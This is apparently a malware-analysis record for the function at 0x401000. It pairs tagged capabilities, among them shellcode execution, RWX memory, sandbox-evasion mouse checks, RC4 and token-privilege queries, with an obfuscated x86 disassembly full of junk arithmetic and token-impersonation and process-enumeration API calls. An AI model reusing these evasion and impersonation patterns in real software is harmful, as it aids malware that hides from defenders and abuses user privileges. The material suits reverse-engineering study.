Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for unmoving mouse cursor
Encode data using base64
Encrypt data using rc4 ksa
Enumerate files on windows
Enumerate gui resources
Enumerate processes on remote desktop session host
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get graphical window text
Get token privileges
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x2114
call fcn.00415320
push ebx
push ebp
push esi
push edi
push 0x4377e0
call sub.WTSAPI32.dll_WTSOpenServerA
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov ebp, eax
test ebp, ebp
je 0x40120c
push 0x4377e0
push dword [0x4373c4]
push 0x4373e0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x401201
mov eax, dword [0x4373c8]
inc eax
mov dword [0x4373c8], eax
cmp eax, dword [0x4373c4]
jg 0x4010c4
push 0x4373c4
push 0x4377e0
push dword [0x4373c0]
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov ebx, dword [0x4373cc]
test ebx, ebx
je 0x4010c4
mov edi, dword [0x4373c0]
mov edx, dword [0x4373c4]
mov ch, byte [0x43741e]
mov esi, dword [0x4373c8]
mov eax, esi
imul eax, edx
mov edx, 0x22c
sub edx, eax
mov al, bl
mov cl, 0x2a
imul cl
mov cl, byte [0x43751b]
neg cl
sub cl, al
movsx eax, byte [0x4378d5]
sub eax, edi
add eax, 0x19
add eax, ebx
add ch, cl
add esi, eax
jmp 0x401094
push 0x4377e0
call edi
mov ecx, 0xffffffed
sub ecx, dword [0x4373c0]
mov esi, eax
add dword [0x4373c4], ecx
push esi
call dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
mov edx, dword [0x4373c8]
lea ecx, [esi + 1]
imul ecx, edx
mov ebx, eax
cmp dword [0x4373c0], ecx
jl 0x40112c
movsx ecx, byte [0x4374f6]
mov al, byte [0x4373c4]
sub al, byte [0x4373c0]
add ecx, dword [0x4373cc]
mov byte [0x4373eb], al
sub edx, ecx
mov al, bl
add al, dl
add byte [0x4378b1], al
mov dword [0x4373c8], edx
jmp 0x40113d
mov eax, dword [0x4373c4]
add eax, 0x2b4
add eax, esi
mov dword [0x4373c4], eax
push 0x4373c8
push 0x4373e0
push esi
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
movsx ecx, byte [0x437447]
mov edi, dword [0x4373c8]
mov edx, eax
add ecx, edx
sub edi, ecx
mov dword [0x4373c8], edi
test edx, edx
jne 0x401195
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov al, byte [0x437843]
sub al, byte [0x4373cc]
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
add al, byte [0x4374a2]
add byte [0x4378be], al
jmp 0x40120c
mov ecx, dword [0x4373cc]
sub esi, ecx
add esi, 0x32b
cmp edx, esi
jae 0x4011d0
mov eax, ebx
sub eax, dword [0x4373c0]
sub ebx, ecx
sub ebx, edi
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
add eax, 0x9a
sub ebx, edx
sub ebx, 0x6c
mov dword [0x4373c4], eax
mov dword [0x4373c8], ebx
jmp 0x40120c
movsx ecx, byte [0x4378ae]
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
movzx eax, dl
sub dl, byte [0x437503]
lea eax, [eax + eax*2]
shl eax, 4
sub ecx, eax
sub dl, cl
sub dl, 0x4c
add byte [0x4378c0], dl
mov dword [0x4373c0], ecx
jmp 0x40120c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [0x4373d0], eax
lea eax, [esp + 0x68]
push eax
lea eax, [esp + 0x108]
push eax
push 1
push 0
push ebp
mov dword [esp + 0x7c], 2
call sub.WTSAPI32.dll_WTSEnumerateProcessesA
test eax, eax
je 0x40123d
mov eax, dword [esp + 0x68]
and eax, 0xf
mov dword [0x4373d4], eax
jmp 0x401247
mov dword [0x4373d4], 0x10
mov ebx, dword [sym.imp.USER32.dll_GetSystemMetrics]
xor eax, eax
xorps xmm0, xmm0
push 0xd
mov word [esp + 0xbc], ax
movq qword [esp + 0xbe], xmm0
mov dword [esp + 0xc6], eax
mov word [esp + 0xca], ax
mov word [esp + 0x84], ax
movq qword [esp + 0x86], xmm0
mov dword [esp + 0x8e], eax
mov word [esp + 0x92], ax
call ebx
push 0
mov dword [esp + 0x18], eax
mov dword [esp + 0x40], 0
call dword [sym.imp.USER32.dll_GetDC]
mov ecx, dword [str.input]
push 0x3a
mov dword [esp + 0x30], eax
mov dword [esp + 0x18c], ecx
mov cx, word [0x42d530]
lea eax, [esp + 0x192]
push 0
push eax
mov word [esp + 0x198], cx
call fcn.004159a0
add esp, 0xc
push 0x36
call ebx
push 0x4377e0
mov dword [esp + 0x60], eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
movsx edx, byte [0x4374f7]
movzx ecx, word [0x4373c4]
mov ebp, dword [sym.imp.ADVAPI32.dll_GetAclInformation]
add edx, 0x48
push edx
push 0x50
mov ebx, eax
push 0x4377e0
add ecx, ebx
sub dword [0x4373c0], ecx
push 0x4373e0
mov dword [0x4373c8], edx
call ebp
mov esi, dword [0x4373c4]
mov cl, al
sub cl, byte [0x4373c8]
lea edx, [esi + esi]
add cl, byte [0x4374e8]
mov dword [esp + 0x1c], eax
add byte [0x4374a5], cl
mov ecx, 0x1b
sub ecx, edx
cmp esi, ecx
jl 0x401377
movzx ecx, byte [0x4373d0]
imul ecx, dword [0x4373c0]
mov eax, ebx
imul eax, eax, 0x76
add ecx, eax
movsx eax, byte [0x437410]
sub ecx, eax
mov dword [0x4373c8], ecx
push dword [0x4373d4]
push 0x80
push 0x4373e0
push 0x4377e0
call ebp
mov ecx, dword [0x4373d4]
imul ecx, dword [0x4373d0]
movsx eax, byte [0x43783f]
add ecx, eax
sub dword [0x4373c4], ecx
mov al, bl
sub al, byte [0x4377f9]
push 0x4377e0
add al, byte [esp + 0x20]
add al, byte [0x4374a3]
add byte [0x4378e7], al
call edi
mov cl, bl
sub cl, al
movzx eax, bx
cdq
idiv dword [0x4373d0]
sub cl, byte [0x4373c4]
movsx edi, byte [0x437912]
mov esi, dword [0x4373c8]
sub cl, 0x6b
add cl, byte [0x437438]
imul edi, edi, 0x19
mov edx, 0xd
mov ebx, eax
lea ecx, [ecx]
mov eax, ebx
sub eax, esi
mov byte [0x4374fa], cl
mov dword [0x4373c0], eax
mov esi, edi
dec edx
jne 0x401400
movsx eax, byte [0x43746e]
imul eax, dword [0x4373c4]
mov dword [0x4373c8], eax
lea eax, [esp + 0xb8]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov edi, dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
push 0x4373e0
call edi
mov ebx, dword [0x4373c4]
mov edx, dword [0x4373cc]
movsx esi, byte [0x4374fb]
mov ecx, dword [0x4373c0]
imul esi, edx
mov ebp, eax
mov al, bl
imul byte [0x4373d0]
sub al, 0x3b
add al, dl
mov edx, dword [0x4373d4]
add esi, 0x18a
jmp 0x401480
add ecx, esi
mov byte [0x43782e], al
test edx, edx
js 0x401480
lea eax, [ebx - 1]
imul eax, ecx
add eax, edx
push 0x4377e0
mov dword [0x4373c0], ecx
mov dword [0x4373c8], eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
movsx edx, byte [0x43747a]
mov esi, dword [0x4373c4]
mov ebx, eax
movsx eax, byte [0x4374a1]
mov cl, bl
add cl, byte [0x4373c8]
mov dword [esp + 0x20], ebx
mov byte [0x43752c], cl
mov ecx, dword [0x4373d4]
imul ecx, ecx, 0x58
sub edx, ecx
sub edx, eax
mov eax, dword [0x4373cc]
add edx, eax
add esi, edx
mov dword [0x4373c4], esi
test eax, eax
jne 0x401675
push 0x4373e0
call edi
mov edx, dword [0x4373d0]
mov ecx, dword [0x4373cc]
mov dword [esp + 0x28], eax
mov al, byte [0x437883]
imul dl
mov byte [esp + 0x13], al
mov al, byte [0x4373c4]
imul dl
add al, 0x37
lea edi, [ecx + ecx]
mov ecx, dword [0x4373c0]
mov byte [esp + 0x1b], al
mov esi, edx
nop
mov eax, ecx
cdq
idiv esi
sub cl, al
sub cl, byte [esp + 0x13]
movzx eax, cl
cdq
idiv esi
mov ecx, edi
sub ecx, eax
mov al, 0x12
sub al, bl
add byte [0x4374ea], al
mov al, byte [esp + 0x1b]
add byte [0x43786a], al
cmp dword [0x4373d4], 0
jl 0x401530
mov eax, dword [0x4373c8]
imul eax, eax, 0x1134
push 0x4377e0
mov dword [0x4373c0], ecx
mov dword [0x4373c8], eax
call dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
mov dword [esp + 0x4c], eax
xor edx, edx
mov eax, ebp
div dword [0x4373d0]
mov edi, dword [esp + 0x20]
movsx ecx, byte [0x4377f1]
xor ebx, ebx
mov dword [esp + 0x1c], eax
movzx eax, di
cdq
idiv dword [0x4373d0]
mov dl, byte [0x437460]
mov dh, byte [0x4373e6]
sub eax, ecx
movsx ecx, byte [0x437896]
add eax, edi
add ecx, 0x28
add ecx, eax
jmp 0x4015d0
mov al, byte [0x4373c8]
sub al, bl
sub al, 0x48
add al, byte [0x4373d0]
mov esi, ecx
add dh, al
mov al, byte [esp + 0x1c]
add al, 1
imul byte [esp + 0x28]
inc ebx
add dl, al
dec ecx
cmp ebx, 0x2b
jl 0x4015d0
mov eax, dword [esp + 0x28]
add eax, eax
mov ecx, 0x54d
sub ecx, eax
mov eax, dword [esp + 0x4c]
movzx eax, al
sub ecx, eax
add esi, ecx
mov byte [0x437460], dl
mov byte [0x4373e6], dh
mov dword [0x4373c0], esi
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov ebx, dword [0x4373cc]
mov esi, eax
cmp ebx, ebp
jge 0x401763
movzx ecx, word [0x4373d4]
mov eax, 0x4325c53f
imul ecx
movsx ecx, byte [0x43745e]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4373c4]
sub ecx, eax
movzx eax, bx
add eax, 0xffffff99
add eax, dword [0x4373c8]
add ecx, eax
jmp 0x401772
movsx ecx, byte [0x437459]
movsx eax, byte [0x4378f4]
mov ebx, dword [0x4373c0]
mov edi, dword [esp + 0x20]
sub ecx, eax
cmp ebx, ecx
jne 0x4016c5
mov edx, dword [0x4373d4]
mov eax, edx
imul eax, dword [0x4373c8]
imul eax, eax, 0x7f
sub eax, ebp
add eax, edi
add ebx, eax
mov eax, edx
imul eax, eax, 0x73
movzx ecx, bx
sub ecx, eax
add ecx, dword [0x4373cc]
add ecx, ebx
mov dword [0x4373c8], ecx
jmp 0x401723
mov ecx, dword [0x4373cc]
mov eax, ecx
cdq
idiv dword [0x4373d0]
imul byte [0x4373c8]
sub al, bl
add byte [0x4374e5], al
movsx eax, byte [0x4377e8]
mov ebx, esi
sub ebx, eax
movzx eax, cl
mov ecx, dword [0x4373d4]
sub ebx, eax
movzx ecx, cl
movzx eax, di
imul eax, ecx
mov ecx, dword [0x4373d0]
cdq
movzx ecx, cl
idiv ecx
mov edx, dword [0x4373d4]
sub ebx, 0x18e
sub eax, ebp
add eax, 0x77
mov dword [0x4373c4], eax
cmp dword [0x4373d0], 0
mov dword [0x4373c0], ebx
jge 0x401620
jmp 0x401740
movsx ecx, byte [0x437848]
imul ecx, ecx, 0x26a
mov eax, 0x2cc
sub eax, edx
add ebx, eax
movsx eax, byte [0x4377fd]
sub ecx, eax
add ebp, ecx
jmp 0x401740
mov ecx, dword [0x4373c8]
lea edx, [edi + 0x59]
mov dword [0x4373c4], edx
movsx eax, byte [0x437468]
mov ebx, dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, edx
add ecx, eax
movsx eax, byte [0x43746b]
add eax, dword [0x4373d0]
mov dword [0x4373c8], ecx
mov dword [0x4373c0], eax
cmp eax, edi
jb 0x4018a1
push 0x4377e0
call ebx
movsx ecx, byte [0x43787d]
add ecx, esi
mov dword [0x4373c8], ecx
mov ecx, dword [0x4373d0]
mov ebx, eax
test ecx, ecx
jns 0x4017eb
movsx edx, byte [0x437403]
lea esp, [esp]
mov eax, edi
imul eax, ecx
add eax, edx
add eax, ebx
sub esi, eax
add ecx, 0x43d
add ecx, esi
js 0x4017d0
mov dword [0x4373d0], ecx
mov ebx, dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push 0
push 0
push 0x1004
push dword [esp + 0x68]
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [0x4373d0]
mov dword [esp + 0x34], eax
cmp ecx, dword [0x4373c4]
jg 0x401836
push 0x4373e0
call ebx
movsx ecx, byte [0x437499]
sub ecx, dword [0x4373c8]
add ecx, dword [0x4373d4]
mov dword [0x4373c0], ecx
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
cmp dword [0x4373cc], 0
mov ebx, eax
mov dword [esp + 0x4c], ebx
je 0x4018e4
mov edi, dword [0x4373d0]
mov esi, dword [0x4373c4]
mov edx, dword [0x4373c8]
jmp 0x401870
movsx ecx, byte [0x4374f6]
mov eax, 0xffffffb0
sub eax, edi
add ebx, eax
mov eax, dword [0x4373cc]
movzx eax, al
add ecx, eax
sub ecx, dword [0x4373cc]
movsx eax, byte [0x437911]
sub ecx, edx
mov edx, ecx
add eax, edx
add esi, eax
jmp 0x401870
push 0x4373e0
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
movsx ecx, byte [0x4373f7]
movsx eax, byte [0x437915]
imul ecx, esi
add ecx, 0x64
lea ecx, [ecx + ebp*2]
sub ecx, eax
movsx eax, byte [0x437819]
sub ecx, eax
movzx eax, byte [0x4373d0]
add ecx, eax
mov dword [0x4373c4], ecx
jmp 0x4017f1
mov al, byte [0x437930]
imul byte [0x4373c0]
mov ecx, dword [0x4373d4]
sub al, cl
add al, 0x7b
add al, byte [0x4373c4]
add byte [0x43780a], al
cmp dword [0x4373c8], ecx
jl 0x4019a9
push ebx
push 0x180
push 0x4373e0
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
test eax, eax
je 0x401990
mov al, byte [0x4373d4]
add al, 9
add al, al
sub al, byte [0x4373cc]
movsx ecx, byte [0x4373fa]
sub al, byte [0x4373d0]
mov esi, dword [0x4373c4]
mov byte [esp + 0x13], al
imul esi, esi, 0x5b
mov eax, dword [0x4373c0]
cdq
idiv dword [0x4373c0]
mov ebp, dword [0x4373c8]
mov dl, byte [esp + 0x13]
lea edi, [eax + 0x7d]
imul edi, ecx
mov cl, byte [0x437453]
imul edi, edi, 0x5b
lea esp, [esp]
add esi, edi
mov eax, ebp
add cl, dl
sub eax, esi
jne 0x401980
mov byte [0x437453], cl
movsx eax, byte [0x4374fc]
add eax, 0x23a
add eax, dword [0x4373c0]
mov dword [0x4373c4], eax
jmp 0x4019c9
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov al, 4
sub al, byte [0x4373c8]
mov byte [0x43744a], 0xbc
add byte [0x4374e9], al
push 0x4373c4
push 0x100
push 0x4373e0
push ebx
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov edx, dword [0x4373d4]
mov ecx, eax
imul ecx, dword [0x4373c4]
cmp edx, ecx
mov ecx, dword [0x4373c8]
mov dword [esp + 0x20], eax
jl 0x401a14
mov al, byte [0x4373c4]
imul dl
add al, cl
add byte [0x4374b7], al
mov eax, dword [esp + 0x20]
cmp ebx, eax
jb 0x401a5d
movzx ecx, ax
mov eax, ecx
shl eax, 5
inc eax
add ecx, eax
movsx eax, byte [0x4374c2]
imul ecx, edx
add ecx, eax
movsx eax, byte [0x437802]
imul eax, eax, 0x2b8
add eax, 0x6d
mov dword [0x4373c4], eax
mov dword [0x4373c8], ecx
mov al, dl
mov cl, 0x59
imul cl
add al, byte [0x4373c0]
mov byte [0x4374e2], al
jmp 0x401a71
mov eax, dword [0x4373c0]
movzx ecx, cl
add eax, 0x3624
add eax, ecx
mov dword [0x4373c0], eax
cmp ebx, 0x4377e0
je 0x401b18
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov edx, dword [0x4373cc]
mov esi, eax
movsx eax, byte [0x4374df]
imul eax, eax, 0x7a
mov dword [esp + 0x1c], eax
mov al, byte [0x43792e]
sub al, dl
add al, 3
shl al, 4
add byte [0x437477], al
mov al, byte [0x4373c0]
lea ecx, [edx + edx*8]
mov edx, dword [0x4373c8]
lea ebp, [ebx + ecx*4]
imul ebp, dword [0x4373d4]
mov ecx, dword [0x4373c4]
mov ebx, dword [esp + 0x1c]
sub al, 7
shl al, 4
add byte [0x4378e3], al
mov edi, 0x10
mov eax, 0xffffff9f
sub eax, ebp
sub eax, esi
sub eax, ecx
add edx, eax
lea eax, [ebx + esi]
sub ecx, eax
dec edi
jne 0x401ae2
mov ebx, dword [esp + 0x4c]
movzx eax, cl
sub eax, dword [esp + 0x20]
mov dword [0x4373c8], edx
mov edx, dword [0x4373d4]
sub eax, ebx
add ecx, eax
mov dword [0x4373c4], ecx
cmp edx, dword [0x4373d0]
jg 0x401c78
push ebx
call dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
cmp dword [0x4373cc], 0
mov edi, eax
mov byte [0x43748d], 0xa9
je 0x401b9a
mov esi, dword [0x4373c0]
mov edi, dword [0x4373d0]
mov ebp, dword [0x4373d4]
nop
movsx eax, byte [0x437514]
movsx ecx, byte [0x437465]
add eax, 0x291
add esi, eax
movzx eax, bx
sub eax, dword [0x4373c8]
add ebp, 0xfffffe12
add edi, eax
mov eax, 0x7aba01eb
imul ecx
movsx eax, byte [0x4374a3]
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, eax
mov eax, ebx
sub eax, ecx
add eax, esi
add ebp, eax
jmp 0x401b50
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov eax, dword [0x4373c4]
mov ebp, dword [0x4373d0]
movzx eax, al
cdq
idiv ebp
mov ecx, edi
imul ecx, ebp
imul ecx, ecx, 0x3a6
xor edx, edx
xor esi, esi
mov dword [esp + 0x38], ecx
mov dword [esp + 0x1c], eax
mov eax, edi
div ebp
mov edi, dword [0x4373c0]
mov dword [esp + 0x4c], eax
jmp 0x401be0
mov eax, esi
cdq
idiv ebp
inc esi
sub ecx, eax
mov al, 0x39
sub al, byte [esp + 0x1c]
add edi, ecx
sub al, byte [esp + 0x4c]
mov ecx, dword [esp + 0x38]
add byte [0x43748f], al
mov eax, ebx
imul eax, edi
sub eax, dword [0x4373cc]
sub eax, 0x6853
mov dword [0x4373c8], eax
cmp esi, 0x3a
jl 0x401be0
mov cl, byte [0x43789e]
imul ebp, ebp
sub cl, byte [0x43786a]
mov dl, byte [0x4373e2]
mov al, cl
shl al, 5
sub al, cl
add byte [0x437404], al
mov ecx, dword [0x4373c4]
mov dword [0x4373c0], edi
mov esi, 0x1f
jmp 0x401c50
mov eax, 0x7b
sub eax, ebp
add ecx, eax
mov al, byte [esp + 0x20]
sub al, bl
add al, 0x71
add dl, al
dec esi
jne 0x401c50
mov byte [0x4373e2], dl
mov edx, dword [0x4373d4]
mov dword [0x4373c4], ecx
push edx
push 0x1a0
push 0x4373e0
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
mov ebx, dword [0x4373d0]
movzx ecx, bx
imul ecx, dword [0x4373c8]
mov edx, 0x58
sub edx, ecx
movsx ecx, byte [0x43781b]
sub edx, ecx
mov ecx, dword [0x4373c0]
sub edx, eax
mov dword [esp + 0x20], eax
mov ah, byte [0x43792b]
mov al, bl
add al, al
add bl, al
add ecx, edx
mov edx, dword [0x4373d4]
add bl, dl
mov byte [esp + 0x13], bl
mov ebx, dword [0x4373c4]
mov esi, ebx
mov dword [esp + 0x1c], ebx
mov bl, byte [esp + 0x13]
neg esi
mov edi, 0x14
jmp 0x401cf0
add ecx, 0x54
add ecx, esi
mov al, bl
add al, cl
add ah, al
add esi, edx
mov dword [0x4373c0], ecx
dec edi
jne 0x401cf0
mov edi, dword [esp + 0x20]
mov ebx, dword [esp + 0x1c]
mov byte [0x43792b], ah
mov dword [esp + 0x4c], ecx
test edi, edi
jne 0x401dd7
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov esi, dword [0x4373c0]
neg al
movsx ecx, byte [0x4374c0]
mov dword [esp + 0x4c], ecx
mov ebp, ecx
mov ecx, 0x16
mov dword [esp + 0x38], eax
add al, 0x23
mov byte [esp + 0x13], al
mov eax, esi
imul eax, eax, 0x1d
cdq
idiv dword [0x4373d0]
mov edx, dword [0x4373d4]
sub ecx, eax
mov ah, byte [esp + 0x13]
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x4373c8]
mov edi, dword [esp + 0x1c]
mov al, byte [esp + 0x38]
mov ebx, ecx
sub ebx, ebp
sub ebx, 0x286
add al, bl
mov dword [0x4373c4], ebx
mov byte [0x437864], ah
mov byte [0x43741c], al
mov ecx, edi
test edx, edx
js 0x401d75
mov edi, dword [esp + 0x20]
mov ebp, dword [0x4373d0]
mov dword [0x4373c8], ecx
cmp ecx, edx
jl 0x401e15
movsx ecx, byte [0x4374d9]
movsx ebx, byte [0x43752a]
imul ecx, edx
add ebx, 0xfffffd7b
add ebx, ecx
mov ecx, dword [0x4373c8]
mov dword [0x4373c4], ebx
jmp 0x401e15
mov al, byte [0x43746e]
sub al, byte [0x437864]
mov ecx, dword [0x4373c8]
mov esi, dword [esp + 0x4c]
mov ebp, dword [0x4373d0]
sub al, bl
add al, byte [0x4373cc]
add al, cl
add byte [0x4373f7], al
mov al, byte [0x437492]
imul byte [0x437910]
sub al, 0x7d
add byte [0x437510], al
cmp dword [0x4373cc], 0
jne 0x401e91
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov esi, dword [0x4373d4]
mov edx, eax
test esi, esi
jns 0x401e78
mov al, byte [0x43747d]
mov ebp, dword [0x4373c8]
mov ebx, dword [0x4373cc]
mov esi, dword [0x4373c4]
mov byte [esp + 0x1b], al
mov ecx, dword [0x4373d0]
movsx eax, byte [0x4378f5]
inc ecx
imul esi, ecx
mov ecx, edi
add esi, eax
imul ecx, ebp
mov al, dl
add al, bl
add byte [esp + 0x1b], al
mov eax, ebx
sub eax, ecx
add edx, eax
jmp 0x401e50
mov eax, 0x44
cdq
idiv dword [0x4373d0]
mov ebx, dword [0x4373c4]
mov byte [0x437912], al
jmp 0x401f0c
imul esi, esi, 0x7a
mov dword [esp + 0x28], 0
lea eax, [esi - 0x77]
mov esi, dword [0x4373d4]
add eax, edx
mov dword [0x4373c0], eax
mov edi, eax
mov edi, edi
mov eax, ecx
cdq
idiv ebp
mov edx, dword [0x4373c8]
mov ecx, ebx
imul eax, edi
sub ecx, eax
movzx eax, dx
sub ecx, eax
mov al, byte [0x43789d]
imul bl
imul byte [0x4373cc]
mov edx, dword [esp + 0x28]
add al, 0x31
add al, byte [0x4377e7]
mov dword [0x4373c8], ecx
mov byte [0x437414], al
movzx eax, dl
imul eax, eax, 0x63
add eax, 0xffffffa0
add eax, esi
inc edx
add ebx, eax
mov dword [esp + 0x28], edx
cmp edx, 0x12
jl 0x401eb0
mov edi, dword [esp + 0x20]
mov dword [0x4373c4], ebx
mov eax, dword [0x4373cc]
cmp edi, eax
jbe 0x401fab
mov ebx, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push 0x4373c4
push 0x190
push 0x4373e0
push eax
push 0x4377e0
call ebx
mov ecx, dword [esp + 0x20]
mov edx, dword [0x4373d4]
mov al, 0x83
sub al, cl
sub al, dl
add byte [0x4374f3], al
cmp edx, ecx
jl 0x401f61
mov eax, ecx
imul eax, dword [0x4373d0]
sub eax, edx
add dword [0x4373c8], eax
push 0x4373c8
push 0x150
push 0x4377e0
push dword [0x4373cc]
push edx
call ebx
movzx ecx, word [0x4373d0]
shr eax, 5
add al, byte [0x4373c8]
mov ebx, dword [0x4373c4]
mov byte [0x437810], al
mov eax, 0x1d6
cdq
idiv ecx
mov esi, dword [0x4373d4]
mov edi, dword [esp + 0x20]
mov dword [0x4373c0], eax
cmp ebx, esi
jge 0x402048
push 0x4377e0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov ebx, dword [0x4373c4]
movsx ecx, byte [0x43788b]
mov esi, dword [0x4373cc]
mov edx, ebx
sub edx, esi
cmp ecx, edx
mov ecx, dword [0x4373d0]
mov dword [esp + 0x1c], eax
jge 0x401ff2
mov eax, 0x364
cdq
idiv ecx
add al, 0x16
mov byte [0x4377ff], al
movsx eax, byte [0x4378b9]
imul eax, ecx
cmp esi, eax
jl 0x402011
mov eax, 9
cdq
idiv ecx
sub al, 0x69
add al, bl
mov byte [0x43789b], al
push 0x4373c0
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov al, byte [0x43741a]
imul byte [esp + 0x1c]
mov cl, 0xe5
sub cl, al
mov al, byte [0x4373c4]
imul byte [0x4373d4]
sub cl, al
add byte [0x437500], cl
add dword [0x4373c0], 0xa196
mov ebp, dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xorps xmm0, xmm0
push 0x4373e0
movq qword [esp + 0xfc], xmm0
call ebp
mov edx, dword [0x4373c0]
movsx ecx, byte [0x4377f9]
imul edx, edx, 0x1f1
sub edx, dword [0x4373d0]
mov ebx, eax
mov dword [esp + 0x1c], ebx
cmp ecx, edx
jge 0x4020a7
movzx eax, word [0x4373cc]
movsx edx, byte [0x43747d]
imul edx, eax
mov al, dl
add al, 0x17
add byte [0x437918], al
mov dword [0x4373c4], edx
jmp 0x4020e7
movzx eax, bx
mov ebx, dword [0x4373d4]
movzx ecx, bx
imul eax, ecx
mov ecx, dword [0x4373d0]
cdq
idiv ecx
mov edx, dword [0x4373c4]
add al, byte [0x4373cc]
sub byte [0x437533], al
mov al, bl
mov ebx, dword [esp + 0x1c]
imul cl
mov cl, dl
add cl, cl
add cl, 0x7f
add al, cl
mov byte [0x4377ee], al
movzx ecx, bx
imul ecx, dword [0x4373d0]
imul ecx, ecx, 0x21d
mov eax, 0x1e
sub eax, ecx
mov dword [0x4373c0], eax
cmp edx, 0x4373e0
jae 0x40223e
push 0x4373e0
call ebp
movsx edi, byte [0x437453]
mov esi, dword [0x4373c4]
imul edi, ebx
mov ecx, dword [0x4373c8]
movzx edx, ax
sub edx, dword [0x4373d4]
add esi, 0x312c
add edx, eax
add esi, edx
mov edx, dword [0x4373c0]
mov dword [esp + 0x20], eax
add edi, eax
jmp 0x402150
add ecx, esi
add edx, 0xfffffff3
lea eax, [edi + ecx]
add edx, eax
test ebx, ebx
jne 0x402150
mov eax, dword [esp + 0x20]
push 0x4373e0
push 0xe0
push 0x4373e0
add eax, edx
push 0x4377e0
mov dword [0x4373c8], ecx
mov dword [0x4373c0], edx
mov dword [0x4373c4], eax
call dword [sym.imp.ADVAPI32.dll_GetAclInformation]
mov ecx, dword [0x4373d0]
mov esi, dword [0x4373c8]
imul ecx, esi
imul ecx, dword [0x4373c4]
mov edi, eax
cmp edi, ecx
jae 0x4021c7
mov eax, esi
cdq
idiv dword [0x4373d0]
mov edx, dword [0x4373cc]
add al, byte [0x4378fb]
mov byte [0x4374f4], al
jmp 0x40220e
mov eax, dword [0x4373c0]
cdq
idiv dword [0x4373d0]
mov edx, dword [0x4373cc]
mov ecx, edi
shl ecx, 5
add ecx, edi
sub al, dl
sub al, 0x31
add byte [0x437401], al
movzx eax, dl
sub ecx, eax
mov al, byte [esp + 0x20]
imul byte [0x4373d0]
add ecx, edx
add esi, ecx
add al, byte [0x437458]
mov dword [0x4373c8], esi
mov byte [0x4374ce], al
movsx eax, byte [0x4378fe]
movsx ecx, byte [0x437891]
sub ecx, eax
movsx eax, byte [0x43747f]
sub ecx, eax
add ecx, dword [esp + 0x20]
lea eax, [ecx - 0x67]
add eax, edx
mov ecx, 0x17
mov dword [0x4373c0], eax
dec eax
dec ecx
jne 0x402235
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov edi, dword [0x4373d0]
mov dword [esp + 0x58], eax
movzx eax, al
mov ecx, eax
imul ecx, dword [0x4373c4]
mov dword [esp + 0x38], eax
mov eax, ebx
sub eax, ecx
mov dword [esp + 0x1c], eax
movzx ecx, di
mov eax, 0xb
cdq
idiv ecx
movsx esi, byte [0x4374d3]
mov ch, byte [0x4374cb]
imul esi, esi, 0x72
mov ebp, dword [esp + 0x1c]
sub eax, esi
mov esi, dword [0x4373c0]
mov dword [esp + 0x4c], eax
jmp 0x4022a6
mov edi, dword [0x4373d0]
add esi, ebp
mov eax, esi
cdq
idiv edi
mov edx, dword [0x4373d0]
add esi, dword [esp + 0x4c]
mov cl, 1
sub cl, al
mov al, cl
imul byte [0x4373cc]
add al, bl
add ch, al
test edx, edx
js 0x4022a0
movsx eax, byte [0x43788d]
mov ebp, dword [0x4373c4]
mov dword [0x4373c0], esi
mov byte [0x4374cb], ch
cmp dword [0x4373d4], eax
jne 0x40231f
movsx eax, byte [0x437434]
imul ebp, ebp, 0x13
add ebp, eax
mov eax, dword [esp + 0x38]
inc eax
imul ebp, eax
movzx eax, bl
movzx ecx, dl
cdq
idiv ecx
sub ebp, eax
mov eax, dword [0x4373d4]
sub al, byte [esp + 0x58]
mov dword [0x4373c0], ebp
mov byte [0x437456], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [0x4373d4]
mov edx, dword [0x4373c4]
cmp edx, eax
